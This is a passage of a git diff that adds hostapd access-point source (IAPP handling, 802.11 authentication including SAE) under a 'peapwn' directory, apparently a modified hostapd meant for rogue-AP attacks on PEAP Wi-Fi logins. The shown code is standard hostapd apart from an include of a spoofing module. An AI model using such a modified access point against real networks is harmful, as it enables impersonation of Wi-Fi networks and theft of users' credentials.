iapp_send_add(iapp, sta->addr, seq); + + if (assoc && WLAN_FC_GET_STYPE(le_to_host16(assoc->frame_control)) == + WLAN_FC_STYPE_REASSOC_REQ) { + /* IAPP-MOVE.request(MAC Address, Sequence Number, Old AP, + * Context Block, Timeout) + */ + /* TODO: Send IAPP-MOVE to the old AP; Map Old AP BSSID to + * IP address */ + } +} + + +static void iapp_process_add_notify(struct iapp_data *iapp, + struct sockaddr_in *from, + struct iapp_hdr *hdr, int len) +{ + struct iapp_add_notify *add = (struct iapp_add_notify *) (hdr + 1); + struct sta_info *sta; + + if (len != sizeof(*add)) { + wpa_printf(MSG_INFO, "Invalid IAPP-ADD packet length %d (expected %lu)", + len, (unsigned long) sizeof(*add)); + return; + } + + sta = ap_get_sta(iapp->hapd, add->mac_addr); + + /* IAPP-ADD.indication(MAC Address, Sequence Number) */ + hostapd_logger(iapp->hapd, add->mac_addr, HOSTAPD_MODULE_IAPP, + HOSTAPD_LEVEL_INFO, + "Received IAPP ADD-notify (seq# %d) from %s:%d%s", + be_to_host16(add->seq_num), + inet_ntoa(from->sin_addr), ntohs(from->sin_port), + sta ? "" : " (STA not found)"); + + if (!sta) + return; + + /* TODO: could use seq_num to try to determine whether last association + * to this AP is newer than the one advertised in IAPP-ADD. Although, + * this is not really a reliable verification. */ + + hostapd_logger(iapp->hapd, add->mac_addr, HOSTAPD_MODULE_IAPP, + HOSTAPD_LEVEL_DEBUG, + "Removing STA due to IAPP ADD-notify"); + ap_sta_disconnect(iapp->hapd, sta, NULL, 0); +} + + +/** + * iapp_receive_udp - Process IAPP UDP frames + * @sock: File descriptor for the socket + * @eloop_ctx: IAPP data (struct iapp_data *) + * @sock_ctx: Not used + */ +static void iapp_receive_udp(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct iapp_data *iapp = eloop_ctx; + int len, hlen; + unsigned char buf[128]; + struct sockaddr_in from; + socklen_t fromlen; + struct iapp_hdr *hdr; + + /* Handle incoming IAPP frames (over UDP/IP) */ + + fromlen = sizeof(from); + len = recvfrom(iapp->udp_sock, buf, sizeof(buf), 0, + (struct sockaddr *) &from, &fromlen); + if (len < 0) { + wpa_printf(MSG_INFO, "iapp_receive_udp - recvfrom: %s", + strerror(errno)); + return; + } + + if (from.sin_addr.s_addr == iapp->own.s_addr) + return; /* ignore own IAPP messages */ + + hostapd_logger(iapp->hapd, NULL, HOSTAPD_MODULE_IAPP, + HOSTAPD_LEVEL_DEBUG, + "Received %d byte IAPP frame from %s%s\n", + len, inet_ntoa(from.sin_addr), + len < (int) sizeof(*hdr) ? " (too short)" : ""); + + if (len < (int) sizeof(*hdr)) + return; + + hdr = (struct iapp_hdr *) buf; + hlen = be_to_host16(hdr->length); + hostapd_logger(iapp->hapd, NULL, HOSTAPD_MODULE_IAPP, + HOSTAPD_LEVEL_DEBUG, + "RX: version=%d command=%d id=%d len=%d\n", + hdr->version, hdr->command, + be_to_host16(hdr->identifier), hlen); + if (hdr->version != IAPP_VERSION) { + wpa_printf(MSG_INFO, "Dropping IAPP frame with unknown version %d", + hdr->version); + return; + } + if (hlen > len) { + wpa_printf(MSG_INFO, "Underflow IAPP frame (hlen=%d len=%d)", + hlen, len); + return; + } + if (hlen < len) { + wpa_printf(MSG_INFO, "Ignoring %d extra bytes from IAPP frame", + len - hlen); + len = hlen; + } + + switch (hdr->command) { + case IAPP_CMD_ADD_notify: + iapp_process_add_notify(iapp, &from, hdr, hlen - sizeof(*hdr)); + break; + case IAPP_CMD_MOVE_notify: + /* TODO: MOVE is using TCP; so move this to TCP handler once it + * is implemented.. */ + /* IAPP-MOVE.indication(MAC Address, New BSSID, + * Sequence Number, AP Address, Context Block) */ + /* TODO: process */ + break; + default: + wpa_printf(MSG_INFO, "Unknown IAPP command %d", hdr->command); + break; + } +} + + +struct iapp_data * iapp_init(struct hostapd_data *hapd, const char *iface) +{ + struct ifreq ifr; + struct sockaddr_ll addr; + int ifindex; + struct sockaddr_in *paddr, uaddr; + struct iapp_data *iapp; + struct ip_mreqn mreq; + + iapp = os_zalloc(sizeof(*iapp)); + if (iapp == NULL) + return NULL; + iapp->hapd = hapd; + iapp->udp_sock = iapp->packet_sock = -1; + + /* TODO: + * open socket for sending and receiving IAPP frames over TCP + */ + + iapp->udp_sock = socket(PF_INET, SOCK_DGRAM, 0); + if (iapp->udp_sock < 0) { + wpa_printf(MSG_INFO, "iapp_init - socket[PF_INET,SOCK_DGRAM]: %s", + strerror(errno)); + iapp_deinit(iapp); + return NULL; + } + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); + if (ioctl(iapp->udp_sock, SIOCGIFINDEX, &ifr) != 0) { + wpa_printf(MSG_INFO, "iapp_init - ioctl(SIOCGIFINDEX): %s", + strerror(errno)); + iapp_deinit(iapp); + return NULL; + } + ifindex = ifr.ifr_ifindex; + + if (ioctl(iapp->udp_sock, SIOCGIFADDR, &ifr) != 0) { + wpa_printf(MSG_INFO, "iapp_init - ioctl(SIOCGIFADDR): %s", + strerror(errno)); + iapp_deinit(iapp); + return NULL; + } + paddr = (struct sockaddr_in *) &ifr.ifr_addr; + if (paddr->sin_family != AF_INET) { + wpa_printf(MSG_INFO, "IAPP: Invalid address family %i (SIOCGIFADDR)", + paddr->sin_family); + iapp_deinit(iapp); + return NULL; + } + iapp->own.s_addr = paddr->sin_addr.s_addr; + + if (ioctl(iapp->udp_sock, SIOCGIFBRDADDR, &ifr) != 0) { + wpa_printf(MSG_INFO, "iapp_init - ioctl(SIOCGIFBRDADDR): %s", + strerror(errno)); + iapp_deinit(iapp); + return NULL; + } + paddr = (struct sockaddr_in *) &ifr.ifr_addr; + if (paddr->sin_family != AF_INET) { + wpa_printf(MSG_INFO, "Invalid address family %i (SIOCGIFBRDADDR)", + paddr->sin_family); + iapp_deinit(iapp); + return NULL; + } + inet_aton(IAPP_MULTICAST, &iapp->multicast); + + os_memset(&uaddr, 0, sizeof(uaddr)); + uaddr.sin_family = AF_INET; + uaddr.sin_port = htons(IAPP_UDP_PORT); + if (bind(iapp->udp_sock, (struct sockaddr *) &uaddr, + sizeof(uaddr)) < 0) { + wpa_printf(MSG_INFO, "iapp_init - bind[UDP]: %s", + strerror(errno)); + iapp_deinit(iapp); + return NULL; + } + + os_memset(&mreq, 0, sizeof(mreq)); + mreq.imr_multiaddr = iapp->multicast; + mreq.imr_address.s_addr = INADDR_ANY; + mreq.imr_ifindex = 0; + if (setsockopt(iapp->udp_sock, SOL_IP, IP_ADD_MEMBERSHIP, &mreq, + sizeof(mreq)) < 0) { + wpa_printf(MSG_INFO, "iapp_init - setsockopt[UDP,IP_ADD_MEMBERSHIP]: %s", + strerror(errno)); + iapp_deinit(iapp); + return NULL; + } + + iapp->packet_sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (iapp->packet_sock < 0) { + wpa_printf(MSG_INFO, "iapp_init - socket[PF_PACKET,SOCK_RAW]: %s", + strerror(errno)); + iapp_deinit(iapp); + return NULL; + } + + os_memset(&addr, 0, sizeof(addr)); + addr.sll_family = AF_PACKET; + addr.sll_ifindex = ifindex; + if (bind(iapp->packet_sock, (struct sockaddr *) &addr, + sizeof(addr)) < 0) { + wpa_printf(MSG_INFO, "iapp_init - bind[PACKET]: %s", + strerror(errno)); + iapp_deinit(iapp); + return NULL; + } + + if (eloop_register_read_sock(iapp->udp_sock, iapp_receive_udp, + iapp, NULL)) { + wpa_printf(MSG_INFO, "Could not register read socket for IAPP"); + iapp_deinit(iapp); + return NULL; + } + + wpa_printf(MSG_INFO, "IEEE 802.11F (IAPP) using interface %s", iface); + + /* TODO: For levels 2 and 3: send RADIUS Initiate-Request, receive + * RADIUS Initiate-Accept or Initiate-Reject. IAPP port should actually + * be openned only after receiving Initiate-Accept. If Initiate-Reject + * is received, IAPP is not started. */ + + return iapp; +} + + +void iapp_deinit(struct iapp_data *iapp) +{ + struct ip_mreqn mreq; + + if (iapp == NULL) + return; + + if (iapp->udp_sock >= 0) { + os_memset(&mreq, 0, sizeof(mreq)); + mreq.imr_multiaddr = iapp->multicast; + mreq.imr_address.s_addr = INADDR_ANY; + mreq.imr_ifindex = 0; + if (setsockopt(iapp->udp_sock, SOL_IP, IP_DROP_MEMBERSHIP, + &mreq, sizeof(mreq)) < 0) { + wpa_printf(MSG_INFO, "iapp_deinit - setsockopt[UDP,IP_DEL_MEMBERSHIP]: %s", + strerror(errno)); + } + + eloop_unregister_read_sock(iapp->udp_sock); + close(iapp->udp_sock); + } + if (iapp->packet_sock >= 0) { + eloop_unregister_read_sock(iapp->packet_sock); + close(iapp->packet_sock); + } + os_free(iapp); +} diff --git a/peapwn/mods/hostap/src/ap/iapp.h b/peapwn/mods/hostap/src/ap/iapp.h new file mode 100644 index 000000000..c22118342 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/iapp.h @@ -0,0 +1,39 @@ +/* + * hostapd / IEEE 802.11F-2003 Inter-Access Point Protocol (IAPP) + * Copyright (c) 2002-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IAPP_H +#define IAPP_H + +struct iapp_data; + +#ifdef CONFIG_IAPP + +void iapp_new_station(struct iapp_data *iapp, struct sta_info *sta); +struct iapp_data * iapp_init(struct hostapd_data *hapd, const char *iface); +void iapp_deinit(struct iapp_data *iapp); + +#else /* CONFIG_IAPP */ + +static inline void iapp_new_station(struct iapp_data *iapp, + struct sta_info *sta) +{ +} + +static inline struct iapp_data * iapp_init(struct hostapd_data *hapd, + const char *iface) +{ + return NULL; +} + +static inline void iapp_deinit(struct iapp_data *iapp) +{ +} + +#endif /* CONFIG_IAPP */ + +#endif /* IAPP_H */ diff --git a/peapwn/mods/hostap/src/ap/ieee802_11.c b/peapwn/mods/hostap/src/ap/ieee802_11.c new file mode 100644 index 000000000..d3c8adb83 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ieee802_11.c @@ -0,0 +1,2268 @@ +/* + * hostapd / IEEE 802.11 Management + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#ifndef CONFIG_NATIVE_WINDOWS + +#include "utils/common.h" +#include "utils/eloop.h" +#include "crypto/crypto.h" +#include "crypto/sha256.h" +#include "crypto/random.h" +#include "drivers/driver.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "common/wpa_ctrl.h" +#include "common/sae.h" +#include "radius/radius.h" +#include "radius/radius_client.h" +#include "p2p/p2p.h" +#include "wps/wps.h" +#include "hostapd.h" +#include "beacon.h" +#include "ieee802_11_auth.h" +#include "sta_info.h" +#include "ieee802_1x.h" +#include "wpa_auth.h" +#include "wmm.h" +#include "ap_list.h" +#include "accounting.h" +#include "ap_config.h" +#include "ap_mlme.h" +#include "p2p_hostapd.h" +#include "ap_drv_ops.h" +#include "wnm_ap.h" +#include "ieee802_11.h" +#include "spoof/spoof.h" + + +u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid) +{ + u8 *pos = eid; + int i, num, count; + + if (hapd->iface->current_rates == NULL) + return eid; + + *pos++ = WLAN_EID_SUPP_RATES; + num = hapd->iface->num_rates; + if (hapd->iconf->ieee80211n && hapd->iconf->require_ht) + num++; + if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht) + num++; + if (num > 8) { + /* rest of the rates are encoded in Extended supported + * rates element */ + num = 8; + } + + *pos++ = num; + count = 0; + for (i = 0, count = 0; i < hapd->iface->num_rates && count < num; + i++) { + count++; + *pos = hapd->iface->current_rates[i].rate / 5; + if (hapd->iface->current_rates[i].flags & HOSTAPD_RATE_BASIC) + *pos |= 0x80; + pos++; + } + + if (hapd->iconf->ieee80211n && hapd->iconf->require_ht && count < 8) { + count++; + *pos++ = 0x80 | BSS_MEMBERSHIP_SELECTOR_HT_PHY; + } + + if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht && count < 8) { + count++; + *pos++ = 0x80 | BSS_MEMBERSHIP_SELECTOR_VHT_PHY; + } + + return pos; +} + + +u8 * hostapd_eid_ext_supp_rates(struct hostapd_data *hapd, u8 *eid) +{ + u8 *pos = eid; + int i, num, count; + + if (hapd->iface->current_rates == NULL) + return eid; + + num = hapd->iface->num_rates; + if (hapd->iconf->ieee80211n && hapd->iconf->require_ht) + num++; + if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht) + num++; + if (num <= 8) + return eid; + num -= 8; + + *pos++ = WLAN_EID_EXT_SUPP_RATES; + *pos++ = num; + count = 0; + for (i = 0, count = 0; i < hapd->iface->num_rates && count < num + 8; + i++) { + count++; + if (count <= 8) + continue; /* already in SuppRates IE */ + *pos = hapd->iface->current_rates[i].rate / 5; + if (hapd->iface->current_rates[i].flags & HOSTAPD_RATE_BASIC) + *pos |= 0x80; + pos++; + } + + if (hapd->iconf->ieee80211n && hapd->iconf->require_ht) { + count++; + if (count > 8) + *pos++ = 0x80 | BSS_MEMBERSHIP_SELECTOR_HT_PHY; + } + + if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht) { + count++; + if (count > 8) + *pos++ = 0x80 | BSS_MEMBERSHIP_SELECTOR_VHT_PHY; + } + + return pos; +} + + +u16 hostapd_own_capab_info(struct hostapd_data *hapd, struct sta_info *sta, + int probe) +{ + int capab = WLAN_CAPABILITY_ESS; + int privacy; + + if (hapd->iface->num_sta_no_short_preamble == 0 && + hapd->iconf->preamble == SHORT_PREAMBLE) + capab |= WLAN_CAPABILITY_SHORT_PREAMBLE; + + privacy = hapd->conf->ssid.wep.keys_set; + + if (hapd->conf->ieee802_1x && + (hapd->conf->default_wep_key_len || + hapd->conf->individual_wep_key_len)) + privacy = 1; + + if (hapd->conf->wpa) + privacy = 1; + + if (sta) { + int policy, def_klen; + if (probe && sta->ssid_probe) { + policy = sta->ssid_probe->security_policy; + def_klen = sta->ssid_probe->wep.default_len; + } else { + policy = sta->ssid->security_policy; + def_klen = sta->ssid->wep.default_len; + } + privacy = policy != SECURITY_PLAINTEXT; + if (policy == SECURITY_IEEE_802_1X && def_klen == 0) + privacy = 0; + } + + if (privacy) + capab |= WLAN_CAPABILITY_PRIVACY; + + if (hapd->iface->current_mode && + hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G && + hapd->iface->num_sta_no_short_slot_time == 0) + capab |= WLAN_CAPABILITY_SHORT_SLOT_TIME; + + return capab; +} + + +void ieee802_11_print_ssid(char *buf, const u8 *ssid, u8 len) +{ + int i; + if (len > HOSTAPD_MAX_SSID_LEN) + len = HOSTAPD_MAX_SSID_LEN; + for (i = 0; i < len; i++) { + if (ssid[i] >= 32 && ssid[i] < 127) + buf[i] = ssid[i]; + else + buf[i] = '.'; + } + buf[len] = '\0'; +} + + +static u16 auth_shared_key(struct hostapd_data *hapd, struct sta_info *sta, + u16 auth_transaction, const u8 *challenge, + int iswep) +{ + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "authentication (shared key, transaction %d)", + auth_transaction); + + if (auth_transaction == 1) { + if (!sta->challenge) { + /* Generate a pseudo-random challenge */ + u8 key[8]; + struct os_time now; + int r; + sta->challenge = os_zalloc(WLAN_AUTH_CHALLENGE_LEN); + if (sta->challenge == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + + os_get_time(&now); + r = os_random(); + os_memcpy(key, &now.sec, 4); + os_memcpy(key + 4, &r, 4); + rc4_skip(key, sizeof(key), 0, + sta->challenge, WLAN_AUTH_CHALLENGE_LEN); + } + return 0; + } + + if (auth_transaction != 3) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + + /* Transaction 3 */ + if (!iswep || !sta->challenge || !challenge || + os_memcmp(sta->challenge, challenge, WLAN_AUTH_CHALLENGE_LEN)) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, + "shared key authentication - invalid " + "challenge-response"); + return WLAN_STATUS_CHALLENGE_FAIL; + } + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "authentication OK (shared key)"); +#ifdef IEEE80211_REQUIRE_AUTH_ACK + /* Station will be marked authenticated if it ACKs the + * authentication reply. */ +#else + sta->flags |= WLAN_STA_AUTH; + wpa_auth_sm_event(sta->wpa_sm, WPA_AUTH); +#endif + os_free(sta->challenge); + sta->challenge = NULL; + + return 0; +} + + +static void send_auth_reply(struct hostapd_data *hapd, + const u8 *dst, const u8 *bssid, + u16 auth_alg, u16 auth_transaction, u16 resp, + const u8 *ies, size_t ies_len) +{ + struct ieee80211_mgmt *reply; + u8 *buf; + size_t rlen; + + rlen = IEEE80211_HDRLEN + sizeof(reply->u.auth) + ies_len; + buf = os_zalloc(rlen); + if (buf == NULL) + return; + + reply = (struct ieee80211_mgmt *) buf; + reply->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_AUTH); + os_memcpy(reply->da, dst, ETH_ALEN); + os_memcpy(reply->sa, hapd->own_addr, ETH_ALEN); + os_memcpy(reply->bssid, bssid, ETH_ALEN); + + reply->u.auth.auth_alg = host_to_le16(auth_alg); + reply->u.auth.auth_transaction = host_to_le16(auth_transaction); + reply->u.auth.status_code = host_to_le16(resp); + + if (ies && ies_len) + os_memcpy(reply->u.auth.variable, ies, ies_len); + + wpa_printf(MSG_DEBUG, "authentication reply: STA=" MACSTR + " auth_alg=%d auth_transaction=%d resp=%d (IE len=%lu)", + MAC2STR(dst), auth_alg, auth_transaction, + resp, (unsigned long) ies_len); + if (hostapd_drv_send_mlme(hapd, reply, rlen, 0) < 0) + wpa_printf(MSG_INFO, "send_auth_reply: send"); + + os_free(buf); +} + + +#ifdef CONFIG_IEEE80211R +static void handle_auth_ft_finish(void *ctx, const u8 *dst, const u8 *bssid, + u16 auth_transaction, u16 status, + const u8 *ies, size_t ies_len) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta; + + send_auth_reply(hapd, dst, bssid, WLAN_AUTH_FT, auth_transaction, + status, ies, ies_len); + + if (status != WLAN_STATUS_SUCCESS) + return; + + sta = ap_get_sta(hapd, dst); + if (sta == NULL) + return; + + hostapd_logger(hapd, dst, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "authentication OK (FT)"); + sta->flags |= WLAN_STA_AUTH; + mlme_authenticate_indication(hapd, sta); +} +#endif /* CONFIG_IEEE80211R */ + + +#ifdef CONFIG_SAE + +static struct wpabuf * auth_process_sae_commit(struct hostapd_data *hapd, + struct sta_info *sta) +{ + struct wpabuf *buf; + + if (hapd->conf->ssid.wpa_passphrase == NULL) { + wpa_printf(MSG_DEBUG, "SAE: No password available"); + return NULL; + } + + if (sae_prepare_commit(hapd->own_addr, sta->addr, + (u8 *) hapd->conf->ssid.wpa_passphrase, + os_strlen(hapd->conf->ssid.wpa_passphrase), + sta->sae) < 0) { + wpa_printf(MSG_DEBUG, "SAE: Could not pick PWE"); + return NULL; + } + + if (sae_process_commit(sta->sae) < 0) { + wpa_printf(MSG_DEBUG, "SAE: Failed to process peer commit"); + return NULL; + } + + buf = wpabuf_alloc(SAE_COMMIT_MAX_LEN); + if (buf == NULL) + return NULL; + sae_write_commit(sta->sae, buf, NULL); + + return buf; +} + + +static struct wpabuf * auth_build_sae_confirm(struct hostapd_data *hapd, + struct sta_info *sta) +{ + struct wpabuf *buf; + + buf = wpabuf_alloc(SAE_CONFIRM_MAX_LEN); + if (buf == NULL) + return NULL; + + sae_write_confirm(sta->sae, buf); + + return buf; +} + + +static int use_sae_anti_clogging(struct hostapd_data *hapd) +{ + struct sta_info *sta; + unsigned int open = 0; + + if (hapd->conf->sae_anti_clogging_threshold == 0) + return 1; + + for (sta = hapd->sta_list; sta; sta = sta->next) { + if (!sta->sae) + continue; + if (sta->sae->state != SAE_COMMITTED && + sta->sae->state != SAE_CONFIRMED) + continue; + open++; + if (open >= hapd->conf->sae_anti_clogging_threshold) + return 1; + } + + return 0; +} + + +static int check_sae_token(struct hostapd_data *hapd, const u8 *addr, + const u8 *token, size_t token_len) +{ + u8 mac[SHA256_MAC_LEN]; + + if (token_len != SHA256_MAC_LEN) + return -1; + if (hmac_sha256(hapd->sae_token_key, sizeof(hapd->sae_token_key), + addr, ETH_ALEN, mac) < 0 || + os_memcmp(token, mac, SHA256_MAC_LEN) != 0) + return -1; + + return 0; +} + + +static struct wpabuf * auth_build_token_req(struct hostapd_data *hapd, + const u8 *addr) +{ + struct wpabuf *buf; + u8 *token; + struct os_time t; + + os_get_time(&t); + if (hapd->last_sae_token_key_update == 0 || + t.sec > hapd->last_sae_token_key_update + 60) { + if (random_get_bytes(hapd->sae_token_key, + sizeof(hapd->sae_token_key)) < 0) + return NULL; + wpa_hexdump(MSG_DEBUG, "SAE: Updated token key", + hapd->sae_token_key, sizeof(hapd->sae_token_key)); + hapd->last_sae_token_key_update = t.sec; + } + + buf = wpabuf_alloc(SHA256_MAC_LEN); + if (buf == NULL) + return NULL; + + token = wpabuf_put(buf, SHA256_MAC_LEN); + hmac_sha256(hapd->sae_token_key, sizeof(hapd->sae_token_key), + addr, ETH_ALEN, token); + + return buf; +} + + +static void handle_auth_sae(struct hostapd_data *hapd, struct sta_info *sta, + const struct ieee80211_mgmt *mgmt, size_t len, + u8 auth_transaction) +{ + u16 resp = WLAN_STATUS_SUCCESS; + struct wpabuf *data = NULL; + + if (!sta->sae) { + if (auth_transaction != 1) + return; + sta->sae = os_zalloc(sizeof(*sta->sae)); + if (sta->sae == NULL) + return; + sta->sae->state = SAE_NOTHING; + } + + if (auth_transaction == 1) { + const u8 *token = NULL; + size_t token_len = 0; + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "start SAE authentication (RX commit)"); + resp = sae_parse_commit(sta->sae, mgmt->u.auth.variable, + ((const u8 *) mgmt) + len - + mgmt->u.auth.variable, &token, + &token_len, hapd->conf->sae_groups); + if (token && check_sae_token(hapd, sta->addr, token, token_len) + < 0) { + wpa_printf(MSG_DEBUG, "SAE: Drop commit message with " + "incorrect token from " MACSTR, + MAC2STR(sta->addr)); + return; + } + + if (resp == WLAN_STATUS_SUCCESS) { + if (!token && use_sae_anti_clogging(hapd)) { + wpa_printf(MSG_DEBUG, "SAE: Request anti-" + "clogging token from " MACSTR, + MAC2STR(sta->addr)); + data = auth_build_token_req(hapd, sta->addr); + resp = WLAN_STATUS_ANTI_CLOGGING_TOKEN_REQ; + } else { + data = auth_process_sae_commit(hapd, sta); + if (data == NULL) + resp = WLAN_STATUS_UNSPECIFIED_FAILURE; + else + sta->sae->state = SAE_COMMITTED; + } + } + } else if (auth_transaction == 2) { + if (sta->sae->state != SAE_COMMITTED) { + hostapd_logger(hapd, sta->addr, + HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "SAE confirm before commit"); + resp = WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION; + } + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "SAE authentication (RX confirm)"); + if (sae_check_confirm(sta->sae, mgmt->u.auth.variable, + ((u8 *) mgmt) + len - + mgmt->u.auth.variable) < 0) { + resp = WLAN_STATUS_UNSPECIFIED_FAILURE; + } else { + resp = WLAN_STATUS_SUCCESS; + sta->flags |= WLAN_STA_AUTH; + wpa_auth_sm_event(sta->wpa_sm, WPA_AUTH); + sta->auth_alg = WLAN_AUTH_SAE; + mlme_authenticate_indication(hapd, sta); + + data = auth_build_sae_confirm(hapd, sta); + if (data == NULL) + resp = WLAN_STATUS_UNSPECIFIED_FAILURE; + else { + sta->sae->state = SAE_ACCEPTED; + sae_clear_temp_data(sta->sae); + } + } + } else { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "unexpected SAE authentication transaction %u", + auth_transaction); + resp = WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION; + } + + sta->auth_alg = WLAN_AUTH_SAE; + + send_auth_reply(hapd, mgmt->sa, mgmt->bssid, WLAN_AUTH_SAE, + auth_transaction, resp, + data ? wpabuf_head(data) : (u8 *) "", + data ? wpabuf_len(data) : 0); + wpabuf_free(data); +} +#endif /* CONFIG_SAE */ + + +static void handle_auth(struct hostapd_data *hapd, + const struct ieee80211_mgmt *mgmt, size_t len) +{ + u16 auth_alg, auth_transaction, status_code; + u16 resp = WLAN_STATUS_SUCCESS; + struct sta_info *sta = NULL; + int res; + u16 fc; + const u8 *challenge = NULL; + u32 session_timeout, acct_interim_interval; + int vlan_id = 0; + struct hostapd_sta_wpa_psk_short *psk = NULL; + u8 resp_ies[2 + WLAN_AUTH_CHALLENGE_LEN]; + size_t resp_ies_len = 0; + char *identity = NULL; + char *radius_cui = NULL; + + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.auth)) { + wpa_printf(MSG_INFO, "handle_auth - too short payload (len=%lu)", + (unsigned long) len); + return; + } + +#ifdef CONFIG_TESTING_OPTIONS + if (hapd->iconf->ignore_auth_probability > 0.0d && + drand48() < hapd->iconf->ignore_auth_probability) { + wpa_printf(MSG_INFO, + "TESTING: ignoring auth frame from " MACSTR, + MAC2STR(mgmt->sa)); + return; + } +#endif /* CONFIG_TESTING_OPTIONS */ + + auth_alg = le_to_host16(mgmt->u.auth.auth_alg); + auth_transaction = le_to_host16(mgmt->u.auth.auth_transaction); + status_code = le_to_host16(mgmt->u.auth.status_code); + fc = le_to_host16(mgmt->frame_control); + + if (len >= IEEE80211_HDRLEN + sizeof(mgmt->u.auth) + + 2 + WLAN_AUTH_CHALLENGE_LEN && + mgmt->u.auth.variable[0] == WLAN_EID_CHALLENGE && + mgmt->u.auth.variable[1] == WLAN_AUTH_CHALLENGE_LEN) + challenge = &mgmt->u.auth.variable[2]; + + wpa_printf(MSG_DEBUG, "authentication: STA=" MACSTR " auth_alg=%d " + "auth_transaction=%d status_code=%d wep=%d%s", + MAC2STR(mgmt->sa), auth_alg, auth_transaction, + status_code, !!(fc & WLAN_FC_ISWEP), + challenge ? " challenge" : ""); + + if (hapd->tkip_countermeasures) { + resp = WLAN_REASON_MICHAEL_MIC_FAILURE; + goto fail; + } + + if (!(((hapd->conf->auth_algs & WPA_AUTH_ALG_OPEN) && + auth_alg == WLAN_AUTH_OPEN) || +#ifdef CONFIG_IEEE80211R + (hapd->conf->wpa && wpa_key_mgmt_ft(hapd->conf->wpa_key_mgmt) && + auth_alg == WLAN_AUTH_FT) || +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_SAE + (hapd->conf->wpa && wpa_key_mgmt_sae(hapd->conf->wpa_key_mgmt) && + auth_alg == WLAN_AUTH_SAE) || +#endif /* CONFIG_SAE */ + ((hapd->conf->auth_algs & WPA_AUTH_ALG_SHARED) && + auth_alg == WLAN_AUTH_SHARED_KEY))) { + wpa_printf(MSG_INFO, "Unsupported authentication algorithm (%d)", + auth_alg); + resp = WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; + goto fail; + } + + if (!(auth_transaction == 1 || auth_alg == WLAN_AUTH_SAE || + (auth_alg == WLAN_AUTH_SHARED_KEY && auth_transaction == 3))) { + wpa_printf(MSG_INFO, "Unknown authentication transaction number (%d)", + auth_transaction); + resp = WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION; + goto fail; + } + + if (os_memcmp(mgmt->sa, hapd->own_addr, ETH_ALEN) == 0) { + wpa_printf(MSG_INFO, "Station " MACSTR " not allowed to authenticate", + MAC2STR(mgmt->sa)); + resp = WLAN_STATUS_UNSPECIFIED_FAILURE; + goto fail; + } + + res = hostapd_allowed_address(hapd, mgmt->sa, (u8 *) mgmt, len, + &session_timeout, + &acct_interim_interval, &vlan_id, + &psk, &identity, &radius_cui); + + if (res == HOSTAPD_ACL_REJECT) { + wpa_printf(MSG_INFO, "Station " MACSTR " not allowed to authenticate", + MAC2STR(mgmt->sa)); + resp = WLAN_STATUS_UNSPECIFIED_FAILURE; + goto fail; + } + if (res == HOSTAPD_ACL_PENDING) { + wpa_printf(MSG_DEBUG, "Authentication frame from " MACSTR + " waiting for an external authentication", + MAC2STR(mgmt->sa)); + /* Authentication code will re-send the authentication frame + * after it has received (and cached) information from the + * external source. */ + return; + } + + sta = ap_sta_add(hapd, mgmt->sa); + if (!sta) { + resp = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; + goto fail; + } + + if (vlan_id > 0) { + if (!hostapd_vlan_id_valid(hapd->conf->vlan, vlan_id)) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_INFO, "Invalid VLAN ID " + "%d received from RADIUS server", + vlan_id); + resp = WLAN_STATUS_UNSPECIFIED_FAILURE; + goto fail; + } + sta->vlan_id = vlan_id; + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_INFO, "VLAN ID %d", sta->vlan_id); + } + + hostapd_free_psk_list(sta->psk); + if (hapd->conf->wpa_psk_radius != PSK_RADIUS_IGNORED) { + sta->psk = psk; + psk = NULL; + } else { + sta->psk = NULL; + } + + sta->identity = identity; + identity = NULL; + sta->radius_cui = radius_cui; + radius_cui = NULL; + + sta->flags &= ~WLAN_STA_PREAUTH; + ieee802_1x_notify_pre_auth(sta->eapol_sm, 0); + + if (hapd->conf->acct_interim_interval == 0 && acct_interim_interval) + sta->acct_interim_interval = acct_interim_interval; + if (res == HOSTAPD_ACL_ACCEPT_TIMEOUT) + 